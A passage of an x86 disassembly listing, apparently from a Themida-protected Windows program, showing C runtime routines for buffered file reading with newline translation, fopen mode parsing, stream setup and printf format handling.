ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F106: ; CODE XREF: sub_41F043+55j ; sub_41F043+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DC700 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DC600h[eax*4] mov eax, dword_4DC600[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] call near ptr 2700000h nop test eax, eax jnz short loc_41F1E4 nop call near ptr 2680930h push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB2A8, 9 mov dword_4DB2AC, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] loc_41F266: ; DATA XREF: Themida_:0054C1E8o lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2700000h nop test eax, eax jnz short loc_41F285 call near ptr 2680930h nop test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB2AC, 0 mov dword_4DB2A8, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB328 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DB494 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DB490 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DC5E0 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DB5C8 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DB5C8 mov [edi+ecx], eax mov eax, dword_4DB5C8 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C328 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C328 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43CA38 jz short loc_41F5EA cmp esi, offset dword_43CA58 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC600[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43C980 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+42773Ch] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_42775C[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C328 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43C544 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43C540 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43C8D0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43C8DC pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43C8D4 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43C540 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short 